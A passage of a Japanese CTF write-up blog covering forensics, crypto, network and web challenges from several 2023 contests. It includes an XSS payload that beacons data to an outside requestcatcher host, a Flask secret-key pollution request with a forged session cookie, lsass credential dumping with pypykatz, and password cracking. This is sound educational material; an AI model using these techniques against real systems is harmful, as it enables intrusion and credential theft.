00000000  47 49 46 38 39 61 0e 01  40 01 f7 00 00 0c 0c 14  |GIF89a..@.......|
00000010  18 18 28 1f 20 31 29 29  37 2c 2c 3b 24 24 35 33  |..(. 1))7,,;$$53|
00000020  2d 3b 31 2a 32 27 1d 25  45 33 3b 47 32 38 26 29  |-;1*2'.%E3;G28&)|
00000030  48 2c 32 43 33 32 42 3a  36 45 32 3b 46 3d 39 47  |H,2C32B:6E2;F=9G|
00000040  3c 3b 49 36 39 4b 2a 2b  57 31 2c 59 31 2a 57 29  |<;I69K*+W1,Y1*W)|
00000050  31 56 32 32 56 33 32 5a  3a 37 59 31 2f 41 2b 29  |1V22V32Z:7Y1/A+)|
00000060  65 2d 29 6a 31 2a 66 32  29 6a 3c 2d 69 36 34 64  |e-)j1*f2)j<-i64d|
00000070  3b 36 64 39 38 6e 3b 37  68 31 28 76 32 28 79 3b  |;6d98n;7h1(v2(y;|
00000080  36 72 2c 2a 6f 1e 1d 4c  43 3a 47 49 3c 4f 43 3a  |6r,*o..LC:GI<OC:|
00000090  66 4b 36 6b 48 37 78 52  37 7a 53 38 79 46 2b 72  |fK6kH7xR7zS8yF+r|

先頭4bytesが欠けている気がする。

$ echo -en '\x47\x49\x46\x38' > magic
$ cat magic Stegano1.gif > fixed.gif

こんな感じで修復すると開けてフラグが書いてある。

[IR] Basic系

ディスクイメージが与えられて問いに答えていく問題群。
FTK Imagerで開きながら答えていく。
とりあえず、以下を抽出しておく。

  • レジストリ C:\Windows\system32\config
  • イベントログ C:\Windows\system32\winevt
    • 何で見るか迷ったが、とりあえず純正のイベントビューワーで見ていく
    • 細かい解析が必要な時はEvtxECmdでcsvにして解析

以下問題。

  • Basic - 1
    • the timezone name and hostname
    • Flag Format - CyberGonCTF{Timezone Name_Hostname}
    • timezone -> レジストリ SYSTEM\ControlSet001\Control\TimeZoneInformation -> SE Asia Standard Time
    • hostname -> レジストリ SYSTEM\ControlSet001\Control\ComputerName\ComputerName -> CYBERGON-CTF
  • Basic - 2
    • the previous second hostname and timeline of changing from second hostname to third hostname
    • Flag Format - CyberGonCTF{DD/MM/YEAR hh:mm:ss AM/PM, Second Hostname} (Note: To adjust the timeline with host timezone)
    • ホスト名は変更されていたようだ。変更履歴はイベントログに残っていそうではある。
    • System.evtxのイベントログID 6011を見るとホスト名の変更を追跡可能。確かに2回変更履歴がある。
      • WIN-OS9LHVGJOHH から DESKTOP-1INR457 に変更 2023/07/17 17:27:45 (JST)
      • DESKTOP-1INR457 から CYBERGON-CTF に変更 2023/07/22 18:46:34 (JST)
        • これが目的のイベント
    • 時間の変更
      • JSTUTC+9で、SE Asia Standard TimeはUTC+7なので2時間引いてやればいい
    • 答え CyberGonCTF{22/07/2023 04:46:34 PM, DESKTOP-1INR457}
  • Basic - 3 解けず
    • which user has logged in the most, the total login count and last incorrect password time of that user
    • Flag Format - CyberGonCTF{numberonly_year-mm-dd hh:mm:ss} Note: to adjust the time with host timezone
    • Security.evtxにログイン成否が4624と4625で記録されているので確認する
    • システムのユーザーを消していくと、CyberGon-Adminというユーザーのログが一番多く記録されているが…色々試しても正答できなかった

[forensics] Device Info系

E01ファイルでディスクイメージが与えられるので、問いに答えていく問題群。

  • Device Info (ep1)
    • Flag Format : CyberGonCTF{osname 00.00.0 XXX} eg. CyberGonCTF{Windows 11.22.1 ABC}
    • the operating system information -> /usr/lib/os-release -> Ubuntu 20.04.5 LTS
  • Device Info (ep2)
    • Flag Format: CyberGonCTF{xxx.xxx.xxx.xxx_hostname}
    • device ip
      • \d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}grepしながら探した
      • /var/log/kern.log -> 192.168.1.72
    • hostname -> /etc/hostname -> ubuntu
  • Device Info (ep3)
    • Flag Format: CyberGonCTF{ssid_password}
    • the first connected WiFi (SSID) and password -> /etc/netplan/50-cloud-init.yaml
      • SSID: Ko_Koe_Lo_Ko_Ko
      • password: Ah_Nge_Chaw_Yal_Tae_Inn_Tae
  • Device Info (ep4)
    • Flag Format: CyberGonCTF{Full Information} #included Device Name, Series Number, Model, Version example flag - CyberGonCTF{ThinkPad X1 Carbon Gen 11}
    • the device model details of this host -> /var/log/dmesg -> Raspberry Pi 3 Model B Rev 1.2
  • Attacker IP (ep5)
    • Flag Format: CyberGonCTF{xxx.xxx.xxx.xxx}
    • the ip address of Attacker
      • /var/log/auth.logを見るとJul 15 14:20:35 ubuntu sshd[1093]: Failed password for ubuntu from 192.168.1.67 port 44008 ssh2のようにssh経由での失敗ログが多数残っていた -> 192.168.1.67
  • Success Logon (ep6)
    • Flag Format: CyberGonCTF{total failed numbers_Mon dd hh:mm:ss} eg. CyberGonCTF{10_Jan 01 01:01:01}
    • the total number of failed logon from attacker and When attacker got the success
      • 引き続き/var/log/auth.logを見る
      • Failed password forで検索すると652件ヒット
      • Jul 15 16:55:26 ubuntu sshd[1984]: Accepted password for ubuntu from 192.168.1.67 port 54296 ssh2Jul 15 16:55:26が答えだった
  • New User (ep7) 解けず
    • Flag Format: CyberGonCTF{username, password} password hint- husband name (included two capital letters) +4 digits
    • attacker added the new user for Persistence. Can you find the username and password
      • /home/ubuntu/.bash_historyadduser shwehmoneyatiとされている
      • /etc/shadow shwehmoneyati:$6$8Da3ntmDvkfqYTP6$V3XYeRQdVVfDvQD157uLpoDFP8lFI5We3qmWpO0Zr.Enrg1ZcLVUdU9lJ0a1VPsUg1iL8FowgLAgWXczUgQ28.:19553:0:99999:7:::
      • /etc/passwd shwehmoneyati:x:1005:1005:Shwe Hmone Yati,105,09450062226,:/home/shwehmoneyati:/bin/bash
    • 辞書を作ってshadowのハッシュをクラックするんだろうが…husband name?

[forensics] Hide and Seek

とりあえずoleidで解析してみるが、特筆すべきものはなし。
zipにして解凍して、中を眺める。

word/header1.xmlに妙なものがある。

++++++++++[&gt;+&gt;+++&gt;+++++++&gt;++++++++++&lt;&lt;&lt;&lt;-]&gt;&gt;&gt;---.&gt;+++++++++++++++++++++.-----------------------.+++.+++++++++++++.&lt;++++.&gt;---.-.&lt;----.+++++++++++++++++.--------------.&gt;+++++++++++++.&lt;-----------------.--.&gt;------------------------.-----------------.&lt;.++++.&gt;+++++++++++++.&lt;+++++++++++++.----------------.+++.---.&gt;.&lt;---.&gt;+++++++++++++++.---------------.&lt;+++++++++++++++++++++++.&lt;+++++++++++++++++++++.+.&gt;&gt;+++++.&lt;&lt;-.&gt;++++++++++.&gt;+++++++++++++++++++++++++.

無茶苦茶見たことがあるが、思い出せない…なんだっけ…
と思いgoogle検索にそのまま突っ込むとbrainfuckだった。
https://www.dcode.fr/brainfuck-language
ここで実行するとフラグが出てくる。

[forensics] Frozen Xip

謎の開けない拡張子PNGのファイルが与えられる。
開けないのでとりあえずバイナリで眺める。

$ hd xipper.PNG
00000000  50 4b 04 03 14 00 00 00  08 00 1b 18 ec 56 46 cc  |PK...........VF.|
00000010  51 d1 da 00 00 00 31 02  00 00 14 00 00 00 66 6c  |Q.....1.......fl|
00000020  61 67 2e 74 78 74 6d 50  cb 6e c2 30 10 3c af bf  |ag.txtmP.n.0.<..|
00000030  62 d4 33 82 6f 28 52 2b  71 05 24 ce 46 d9 42 44  |b.3.o(R+q.$.F.BD|
00000040  f0 46 b6 09 ca 8d 8f e8  b1 5f 97 2f 69 42 6c ec  |.F......._./iBl.|
00000050  00 3e ec 78 66 67 c7 8f  ed 91 71 15 29 1c b4 65  |.>.xfg....q.)..e|
00000060  54 d2 70 d5 ce 50 68 7b  82 36 05 0a e6 1a 0b 2c  |T.p..Ph{.6.....,|
00000070  2f 1e 2b 1c 75 c3 a8 ad  9c 4b c7 0e 5e 70 1a bb  |/.+.u....K..^p..|
00000080  9f bd f1 5c 56 a3 76 10  ec f9 47 fa b0 15 5c d5  |...\V.v...G...\.|
00000090  1b e6 aa bb fd 62 2d 7b  b6 1e df 56 9c 9f a1 bb  |.....b-{...V....|
000000a0  fd 6d bc d4 75 69 0e 58  b6 d8 dd 2f 20 06 1a 1b  |.m..ui.X.../ ...|
000000b0  23 d7 16 5f 0d 9b be f7  41 18 16 41 21 6c 88 46  |#.._....A..A!l.F|
000000c0  0c 85 a2 8e 87 33 f4 02  64 24 d1 14 4a 49 cb 3c  |.....3..d$..JI.<|
000000d0  34 a5 18 9c 99 8d 22 a3  84 f4 64 7d 4e 98 90 74  |4....."...d}N..t|
000000e0  4a 94 d4 cb 4b de c3 38  98 a8 ca c4 2c 2e 96 3b  |J...K..8....,..;|
000000f0  4e be 26 cf 89 83 8f 12  fa 2a 90 a9 37 be ef 1f  |N.&......*..7...|
00000100  50 4b 01 02 1f 00 14 00  00 00 08 00 1b 18 ec 56  |PK.............V|
00000110  46 cc 51 d1 da 00 00 00  31 02 00 00 08 00 24 00  |F.Q.....1.....$.|
00000120  00 00 00 00 00 00 20 00  00 00 00 00 00 00 66 6c  |...... .......fl|
00000130  61 67 2e 74 78 74 0a 00  20 00 00 00 00 00 01 00  |ag.txt.. .......|
00000140  18 00 03 16 8b 66 32 b4  d9 01 bc e1 a2 78 31 b4  |.....f2......x1.|
00000150  d9 01 d1 3d 59 69 31 b4  d9 01 50 4b 05 06 00 00  |...=Yi1...PK....|
00000160  00 00 01 00 01 00 5a 00  00 00 00 01 00 00 00 00  |......Z.........|
00000170

flag.txtという名前が見える。pngファイルというよりzipファイルのようだ。
TSXBINで正規のzipファイルと比較しながら修復していく。
正規のzipでは先頭4bytesは50 4b 03 04なので、それをまず直す。
これで解凍してみるとファイル名がなんか変な感じになる。
0x1Aから2bytesでファイル名の長さが格納されるが、0x0014となっている。
flag.txtだと思われるので、0x0008に直すと正しく解凍できるようになる。

タブと空白がたくさん書かれたファイル。
stegsnowで解読可能。

$ stegsnow -C flag.txt
CyberGonCTF{Z1pp3R_4nD_573G5n0W}

[forensics] 8cel

zipファイルが与えられる。
解凍するとofficeファイルっぽい見た目をしているので、oleidを使ってみる。

$ oleid 8cel.zip 
XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)
oleid 0.60.1 - http://decalage.info/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues

Filename: 8cel.zip
--------------------+--------------------+----------+--------------------------
Indicator           |Value               |Risk      |Description
--------------------+--------------------+----------+--------------------------
File format         |MS Excel 2007+      |info      |
                    |Workbook (.xlsx)    |          |
--------------------+--------------------+----------+--------------------------
...

xlsxファイルだった。
/xl/worksheets/sheet2.xmlを見ると、なんか色々書いてある。

<row r="2" spans="2:8" x14ac:dyDescent="0.25">
    <c r="B2" t="e" cm="1"><f t="array" aca="1" ref="B2" ca="1">EMBED("Package", "Q3liZXJHb25DVEZ7ZjRrM19GMTRnfQ==")</f><v>#NAME?</v></c>
    <c r="C2" t="e" cm="1"><f t="array" aca="1" ref="C2" ca="1">EMBED("Package", "Q3liZXJHb25DVEZ7RjRrM19GMTRnfQ==")</f><v>#NAME?</v></c>
    <c r="D2" t="e" cm="1"><f t="array" aca="1" ref="D2" ca="1">EMBED("Package", "Q3liZXJHb25DVEZ7RjRrM19GMTRHR30=")</f><v>#NAME?</v></c>
    <c r="E2" t="e" cm="1"><f t="array" aca="1" ref="E2" ca="1">EMBED("Package", "Q3liZXJHb25DVEZ7RjRrM19GMTRHfQ==")</f><v>#NAME?</v></c>
    <c r="F2" t="e" cm="1"><f t="array" aca="1" ref="F2" ca="1">EMBED("Package", "Q3liZXJHb25DVEZ7ZjRLM19GMTRnfQ==")</f><v>#NAME?</v></c>
    <c r="G2" t="e" cm="1"><f t="array" aca="1" ref="G2" ca="1">EMBED("Package", "Q3liZXJHb25DVEZ7ZjRLM19GMTRHfQ==")</f><v>#NAME?</v></c>
    <c r="H2" t="e" cm="1"><f t="array" aca="1" ref="H2" ca="1">EMBED("Package", "Q3liZXJHb25DVEZ7RjRrM19GMTRHR30=")</f><v>#NAME?</v></c>
</row>

こういう感じに各セルにbase64の文字列が書かれている。
何パターンかあるが、そこから目立つものを持ってきてbase64デコードするとフラグ。

<c r="E14" t="e" cm="1"><f t="array" aca="1" ref="E14" ca="1">EMBED("Package", "Q3liZXJHb25DVEZ7eTB1X0cwN183aDNfNTNjUjM3XzFOZjB9")</f><v>#NAME?</v></c>

Bauhinia CTF 2023 Writeups

[web] Carpe Diem

以下のような自由にXSSできるサイトが与えられる。

<html>
<head>
    <title>Carpe Diem</title>
</head>
<body onload="convert()" onhashchange="convert()">
    <h1>Carpe Diem</h1>
    <textarea id="i" onchange="location.hash=btoa(i.value)" style="width:400;height:300"></textarea>
    <iframe id="o" style="width:400;height:300"></iframe>
    <script>
        convert = () => {
            i.value = atob(location.hash.slice(1));
            o.srcdoc = i.value;
        }
    </script>
</body>
</html>

重要なのはBOTの部分。

const page = await browser.newPage();

const idx = Math.floor(Math.random() * flag_content.length);
const k = flag_content.charCodeAt(idx) - 65 + 1;

for (let i = 0; i < k; i++) {
    await page.goto(`http://localhost:${PORT}/${crypto.randomBytes(20).toString("hex")}`, {waitUntil: "networkidle0"});
}

await page.goto(url+`?z=${idx}`, {waitUntil: "networkidle2"});

フラグのz番目の文字に対し、Aから何番目かを計算して、その数の分だけページを開く挙動をする。
https://developer.mozilla.org/ja/docs/Web/API/History/length
これが使える。

<script>
navigator.sendBeacon('https://asdfsadfsadf.requestcatcher.com/history' + history.length, '');
</script>

こういうのを踏ませてやれば、ページの履歴数が分かり、何回ページを開いたかを特定可能。
GETパラメタのzも普通に取得可能なので、zと履歴の数をペアで取得可能。
つまり、以下を踏ませてやる。

<script>
    let url = new URL(window.location.href);
    let params = url.searchParams;
    
    navigator.sendBeacon('https://[yours].requestcatcher.com/z' + params.get('z'), '');

    window.location.href = 'http://localhost:12345/#PHNjcmlwdD4KbmF2aWdhdG9yLnNlbmRCZWFjb24oJ2h0dHBzOi8vYXNkZnNhZGZzYWRmLnJlcXVlc3RjYXRjaGVyLmNvbS9oaXN0b3J5JyArIGhpc3RvcnkubGVuZ3RoLCAnJyk7Cjwvc2NyaXB0Pg==';
</script>

あとは根性で送りまくって、全部集める。

POST /z0    21
POST /z1    7
POST /z2    11
POST /z3    28
POST /z4    7
POST /z5    27
POST /z6    17
POST /z7    23
POST /z8    20
POST /z9    6
POST /z10   3
POST /z11   27

これをまとめて適当に整形するとフラグになる。

https://gchq.github.io/CyberChef/#recipe=From_Decimal('Space',false)ADD(%7B'option':'Decimal','string':'62'%7D)&input=MjEgNyAxMSAyOCA3IDI3IDE3IDIzIDIwIDYgMyAyNw

[web] Hansel and Gretel

@app.route("/flag")
def flag():
    if session.get("user") != "witch":
        return render_template("template.html", status=403, message="You are not the witch.")
    return render_template("template.html", status=200, message=os.environ["FLAG"])

このようにsessionのuserがwitchになればいいが、代入できる部分はない。
脆弱点を探すとこのような箇所がある。

def set_(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                set_(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            set_(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

こういう処理を見るとPrototype Pollutionを疑う体になってしまっているので、
そういう視点で考えると、実際にPrototype Pollutionっぽいことが可能。

解法としては、
https://blog.abdulrah33m.com/prototype-pollution-in-python/
これのThere is Moreにある

Overwriting Flask web app secret key that’s used for session signing.

をやる。
色々実験して、Boardクラスのインスタンス(self)からapp.configまで頑張って辿りつくと以下のような感じになる。

POST /save_bulletins HTTP/1.1
Host: chall-us.pwnable.hk:30009
Connection: close
Content-Type: application/json
Content-Length: 311

{
    "new_content": [{ "text":"","title":"" }],
    "__init__": {
        "__globals__": {
            "app": {
                "config": {
                    "SECRET_KEY": "4b57fui6b4mu5v8q34co5us234jiok"
                }
            }
        }
    }
}

new_content部分はバリデータを回避するために入れていて、
4b57fui6b4mu5v8q34co5us234jiokは適当に作った秘密鍵なので何でもいい。
これで秘密鍵を強制させられるので、以下のようにcookieを偽装。

$ flask-unsign --sign --secret 4b57fui6b4mu5v8q34co5us234jiok --cookie "{'user': 'witch'}"
eyJ1c2VyIjoid2l0Y2gifQ.ZOGb7Q.xu5MU2XbHVd26BctjUwNX6qOUL0

これを使えばフラグがもらえる。

GET /flag HTTP/1.1
Host: chall-us.pwnable.hk:30009
Connection: close
Cookie: session=eyJ1c2VyIjoid2l0Y2gifQ.ZOGb7Q.xu5MU2XbHVd26BctjUwNX6qOUL0

防衛省サイバーコンテスト2023 Writeups

[crypto] Simple Substitution Cipher

synt{tA0iEFckNRiG}

これを復号問題。
ROT13で変換する。
https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,false,13)&input=c3ludHt0QTBpRUZja05SaUd9

[crypto] Substitution Cipher

暗号文: Uckb uzzc jn gwdmayuzf fjoj ciz Xrhzpèaf xkyizt.ciz hubb kb ggcp{wIR2AuVebMyR}. 鍵: ?VC?

これを復号化する。
https://cryptii.com/pipes/vigenere-cipher で解析することにした。
?VC?が復号化のカギになるが、各文字を変えると対応する文字が変わるので読めるようになるまでポチポチ頑張る。
適当にここに入れて、?をaから順番に試して読めるようになるかポチポチやってるとBVCJで

This text is encrypted with the Vigenv̀zk vbxnxk.bnx ytgz ba leto{bGI2ZzTvaRwI}.

となった。更に後半部分を同じ4文字だろうと仮説を立ててポチポチやるとTTIGでcipher.the flag is flag{vNP2RtAcsLdP}となり、フラグ獲得。

[crypto] Administrator Hash(NTLM hash)

Administrator ユーザーの NTLM ハッシュ値を抽出する問題。
lsassのプロセスダンプがあるので、mimikatzで抽出してやる。
pypykatz使うのがおすすめ。

  1. dockerで環境準備 docker run -v ${PWD}:/mnt --rm -it python:latest /bin/bash
  2. pip3 install pypykatz
  3. pypykatz lsa minidump lsass.dmpで抜く

これでNTと書かれている所に答えが書いてある。

[crypto] Administrator Password

↑の問題の続きで、ハッシュ値から、Administrator ユーザーのパスワードを出す問題。
ほぼボーナス問題でCrackStationに投げれば平文が手に入るのでそれが答え。

[crypto] Hash Extension Attack

以下のようなphpコードが与えられる。(オリジナル残ってなくて微妙に違うかもしれない)

<?php
$payload = urldecode($_GET['payload']);
$hash = urldecode($_GET['hash']);
$secret = 'secret';

hash('md5',$secret); #5ebe2294ecd0e0f08eab7690d2a6ee69, secret length 6.

if (false !== strpos($payload,"admin") && hash('md5',$secret.$payload) == $hash){
    echo "same hash!!\n";
    # flag is $hash:$payload.
}else{
    echo "wrong hash!!\n";
}
?>

secretとして謎の6文字のmd5ハッシュの5ebe2294ecd0e0f08eab7690d2a6ee69に対して、adminを含む文字列を追加してハッシュを作れるかという問題。
どう見てもLength Extension Attackを狙った問題。

だが、5ebe2294ecd0e0f08eab7690d2a6ee69は6文字から作られているので最悪平文がブルートフォースで得られそうではある。
Crackstationに投げるとあっさり「secret」が平文であると分かってしまった。
「secretadmin」でハッシュ作ればいいのでは…?と思ったが弾かれる。
CTFdで動的検証してるのは個人的に見たことがないので、想定解があるんだろうなぁと思いちゃんと作ることに…
ここからが地獄の始まりで、何も刺さらない。
ヒントを開く。

hash_extension.php はハッシュ伸長攻撃に対して脆弱です。

これはまあ。

変数 palyload はパーセントエンコーディングが必要です。

うーん。ちょっと待って、3つ目まで開けても無駄なのでは…?

根性で色々やるとiagox86/hash_extenderで正答のものが作れた。

$ ./hash_extender --data "" --secret 6 --append 'admin' --signature 5ebe2294ecd0e0f08eab7690d2a6ee69 --format md5
Type: md5
Secret length: 6
New signature: abca9f7719017e88dd4aba0aebb17f38
New string: 8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000300000000000000061646d696e

みたいに作れて、New stringをパーセントエンコーディングに直し、かつ、ちゃんと印字可能な文字はasciiにしてやるとフラグになる。

flag{abca9f7719017e88dd4aba0aebb17f38:%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%000%00%00%00%00%00%00%00admin}

[forensics] The Place of The First Secret Meeting

USBのイメージファイルが与えられる。
画像ファイルを探して、どこの場所かを当てる問題。

FTK Imagerで開くと画像ファイルが置いてある。
お城の画像。
Google画像検索すると「艮櫓(うしとらやぐら)」という名前らしい。
https://nishimagome.link/2020/03/01/takamatsujyo/
ushitorayaguraが正答

[forensics] The Deleted Confidential File

↑の続きの問題。
消されたファイルがあるので復元する問題。

Autopsyに切り替えてみてみると、「重要.zip」というファイルが消されていた。
持ってきて中を見てみるとパスワードがかかっていたが、フラグがファイル名になったtxtファイルが置いてあった。
ファイル名は暗号化されてても読めるのでフラグ獲得。

[forensics] They Cannot Be Too Careful.

↑の続きの問題。
暗号化zipを解凍するためのパスワードを探す問題。

先ほど抽出したzipファイルのパスワードをクラックしようとしたが、うまくいかない。正しく抽出できていないのだろう。
ちゃんとやってもいいのだが、他のツールでちゃんと取れないか試すと、foremostでちゃんと取り出すことができた。
後は、zip2johnとjohn the ripperとrockyou.txtを使ってパスワードクラックする。

$ zip2john 00001992.zip > h

$ john --wordlist=/usr/share/wordlists/rockyou.txt h
Warning: invalid UTF-8 seen reading h
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (ZIP, WinZip [PBKDF2-SHA1 128/128 SSE2 4x])
Loaded hashes with cost 1 (HMAC size) varying from 0 to 678498
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
oshiro           (00001992.zip/重要/要求提供的文件清单.pdf)     
oshiro           (00001992.zip/�d�v/flag{Archive_file_was_deleted}.txt)     
2g 0:00:01:09 DONE (2023-08-06 04:27) 0.02876g/s 8705p/s 17410c/s 17410C/s pepito25..oohwee1
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

パスワードoshiroが答え。

[forensics] The Taken Out Secrets

暗号化zipの中にあるpdfファイルから情報を集めてフラグを手に入れる問題。

解凍してpdfファイルを見ると、半分しかフラグが置いてなかった。

flag{pdf__is_

埋め込まれている画像を持ってきて、「青い空を見上げればいつもそこに白い猫」のステガノグラフィー解析にかけると以下の文字列が得られる。

_format!!?}

あともう一つ必要そう。
peepdfでも使ってみるかと思って使うと、URIに面白そうなものがのっかっている。

PPDF> object 13

<< /H /I
/Border â 2 2 2 ê
/A << /URI X3BheWxvYWRfX2RlbGl2ZXJ5Xw==
/S /URI >>
/Rect â 280 670 285 675 ê
/Type /Annots
/Subtype /Link
/P 4 0 R >>

展開すると _payload__delivery_ となる。後はくっつけるとフラグになる。

[forensics] Their Perpetration

USBメモリのシリアルナンバーを特定する問題。
イベントログが与えられるので探索していく。
色々見漁ったけれど、結局以下から抜いてきた。
Microsoft-Windows-Kernel-PnP%4Configuration.evtxのeventId:400が使えた。

デバイス USBSTOR\Disk&Ven__USB&Prod__SanDisk_3.2Gen1&Rev_1.00\0401396c0881735a013c2ebddb72f6dd948bcdd22763fdca255eb87ffa1db86 が構成されました。

ドライバー名: disk.inf
クラス GUID: {4d36e967-e325-11ce-bfc1-08002be10318}
ドライバーの日付: 06/21/2006
ドライバーのバージョン: 10.0.19041.1865
ドライバーのプロバイダー: Microsoft
ドライバー セクション: disk_install.NT
ドライバー ランク: 0xFF0006
一致するデバイス ID: GenDisk
上位のドライバー: disk.inf:GenDisk:00FF2002
デバイスの更新日: false
親デバイス: USB\VID_0781&PID_5597\0401396c0881735a013c2ebddb72f6dd948bcdd22763fdca255eb87ffa1db86fbe750000000000000000000098f9511800037a18975581076b2aa021

PIDのスラッシュ以降がそれっぽかったのと、どこかで埋め込んであるみたいなことを読んだ記憶あったので、
スラッシュ移行から適当にサンプルと同じ文字数引っ張ってきたら正答だった。
0401396c0881735a013c

[NW] Transfer

example.com」ドメインの権威 DNS サーバーが与えられて、ざっくりフラグを探してくださいという問題。

ゾーン転送とか試すがダミーデータっぽいものしかない。
目を皿にしてインターネットを探すと、
https://qiita.com/hypermkt/items/610b5042d290348a9dfa#bind%E3%81%AE%E3%83%90%E3%83%BC%E3%82%B8%E3%83%A7%E3%83%B3%E3%82%92%E8%AA%BF%E3%81%B9%E3%82%8B
が見つかり、dig @10.10.10.21 chaos txt version.bindでフラグ。

[NW] Analysis

プロキシログから怪しい通信をしているIPアドレスを答える問題。

普通の企業のたくさんあるログを消していったら、1つよく分からないのが残って、それを提出すると答えだった。

$ cat proxylog.txt | grep -v "twitter" | grep -v "google" | grep -v "ocsp" | grep -v "windowsupdate" | grep -v "gstatic" | grep -v "yahoo"
Time,elapsed,Source Address,code/status,bytes,Method,URL,Destnation Address,Content Type
2023/4/7 12:26:25,119970,10.200.200.15,TCP_TUNNEL/200,8099213,CONNECT,amazon_co_jp.ipa-info.net:22,HIER_DIRECT/2.57.80.99,-

[NW] Enumeration

サーバにPostfixがインストールされているので、そのバージョンを特定せよという問題。
ポートスキャンをすると確かに 25/tcp が開いている。
ここから長い時間をかけて調査を実験を繰り返したが、何も成果が得られませんでした…

分からんので、ヒント!
防衛省CTFにはポイントが減らされるがヒントが得られるシステムがある。snykのCTFみたいですね)

対象のサーバ上にはどのようなサービスが稼働しているか確認してください。

まあ、これは見た。

SMTP サービス(25/tcp)を調査してもバージョン情報は確認できません。

あーーー!UDPか!

$ sudo nmap -v -T4 -sU -oN udp_nmap 10.10.10.22
...
PORT    STATE         SERVICE
68/udp  open|filtered dhcpc
161/udp open          snmp

はいーーーー
snmpですね。

$ snmpwalk -c public -v1 -t 10 10.10.10.22 | grep ost 
iso.3.6.1.2.1.1.4.0 = STRING: "Root <root@localhost> (configure /etc/snmp/snmp.local.conf)"
iso.3.6.1.2.1.25.4.2.1.4.880 = STRING: "/usr/lib/postfix/sbin/master"
iso.3.6.1.2.1.25.6.3.1.2.12 = STRING: "bind9-host_1:9.18.12-1_amd64"
iso.3.6.1.2.1.25.6.3.1.2.69 = STRING: "hostname_3.23+nmu1_amd64"
iso.3.6.1.2.1.25.6.3.1.2.295 = STRING: "postfix_3.7.5-2_amd64"

バージョン情報が見える。

[NW] Ladder

Boot2Rootみたいな問題。
IPアドレスだけ与えられて、特にノーヒント。

いつものポートスキャンを実施して、ひたすら探していくが…探していくが…
ヒント見ました。

SNMP のコミュニティ名を突破してシステム情報を列挙し稼働プロセス情報に着目してください。

HTBで何を学んできたのか…
UDPでスキャンすると確かにsnmpが空いている。
ヒントにはコミュニティ名が必要とあるので、まずはそれを探そう。

$ onesixtyone 10.10.10.23 -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt
Scanning 1 hosts, 3218 communities
10.10.10.23 [secret] Linux Server-NW4 6.1.0-9-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.27-1 (2023-05-08) x86_64

secretだったので、これを使ってsnmp列挙。

$ snmpwalk -v2c -c secret 10.10.10.23
...
iso.3.6.1.2.1.25.4.2.1.5.625 = STRING: "-c while 1 { spawn /usr/bin/telnet 127.0.0.1 143; expect \"OK\"; send \"a001 LOGIN plane BeefOrChicken\\r\"; expect \"a001 OK\"; sleep "

IMAPのアカウント情報が得られる。
evolutionを使ってログインすると以下のようなメールが置いてある。

Hello Plane!
Share Database Account!
ID : aesop, PW : GoldenOrSilver

mysqlにログインして巡回すると中にフラグが置いてある。

$ mysql -h 10.10.10.23 -u aesop -P 3128 -pGoldenOrSilver
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 731261
Server version: 10.11.3-MariaDB-1 Debian 12

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| goal               |
| information_schema |
+--------------------+
2 rows in set (0.009 sec)

MariaDB [(none)]> use goal;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [goal]> show tables;
+----------------+
| Tables_in_goal |
+----------------+
| flag           |
+----------------+
1 row in set (0.009 sec)

MariaDB [goal]> select * from flag;
+----+--------------------+
| id | flag               |
+----+--------------------+
|  1 | flag{iJhyYG8#w&yy} |
+----+--------------------+
1 row in set (0.010 sec)

[programming] Regex Exercise

ゴミデータがたくさんあって、以下条件を満たす文字列を探すとそれがフラグになっている。

Regexp
"!!" を含む3文字
数字2けた
"S" で始まる5文字以上の英単語
一の位が "8" の数値
がこの順番で並んだものです。

/(regexp.*\!\!\d{2}S[a-zA-Z]{4}[a-zA-Z]+\d+8)/gmiで見つかる。

[programming] Mimic Unicode

全部「ゴ」のように見えるファイルが与えられてフラグを探す問題。

バイナリエディタで見ると微妙に違う。
e3 82 b4 e3 82 b3 e3 82 99の3種類によって「ゴ」が表現されていた。
以下のようにe3 82を消して色々実験する。

